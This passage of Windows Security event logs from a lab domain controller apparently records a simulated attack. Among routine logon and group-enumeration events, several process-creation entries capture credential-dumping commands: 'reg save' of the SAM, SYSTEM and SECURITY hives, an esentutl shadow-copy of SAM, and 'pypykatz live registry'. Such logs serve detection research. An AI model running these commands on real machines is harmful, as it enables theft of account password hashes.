	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257885
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257884
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257883
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257882
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257881
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf08
	New Process Name:	C:\Windows\System32\VSSVC.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\vssvc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257880
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257879
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257878
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1200
	New Process Name:	C:\Windows\System32\esentutl.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x47c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	esentutl.exe  /y /vss C:\Windows/system32/config/SAM /d C:\Users\ADMINI~1\AppData\Local\Temp/SAM 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257877
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x47c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13a4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\cmd.exe" /c "esentutl.exe /y /vss %SystemRoot%/system32/config/SAM /d %temp%/SAM" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257876
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13a4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\cmd.exe" /c "pypykatz live registry" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257875
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Windows\System32\reg.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf6c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	reg  save HKLM\security C:\Users\ADMINI~1\AppData\Local\Temp\security 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257874
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1258
	New Process Name:	C:\Windows\System32\reg.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf6c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	reg  save HKLM\system C:\Users\ADMINI~1\AppData\Local\Temp\system 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257873
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x794
	New Process Name:	C:\Windows\System32\reg.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf6c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	reg  save HKLM\sam C:\Users\ADMINI~1\AppData\Local\Temp\sam 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257872
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13a4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\cmd.exe" /c "reg save HKLM\sam %temp%\sam & reg save HKLM\system %temp%\system & reg save HKLM\security %temp%\security" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257968
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257967
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257966
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257965
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257964
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257963
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257962
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257961
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257960
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257959
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257958
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257957
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257956
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257955
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257954
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257953
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257952
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257951
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257950
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257949
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257948
Keywords=Audit Success
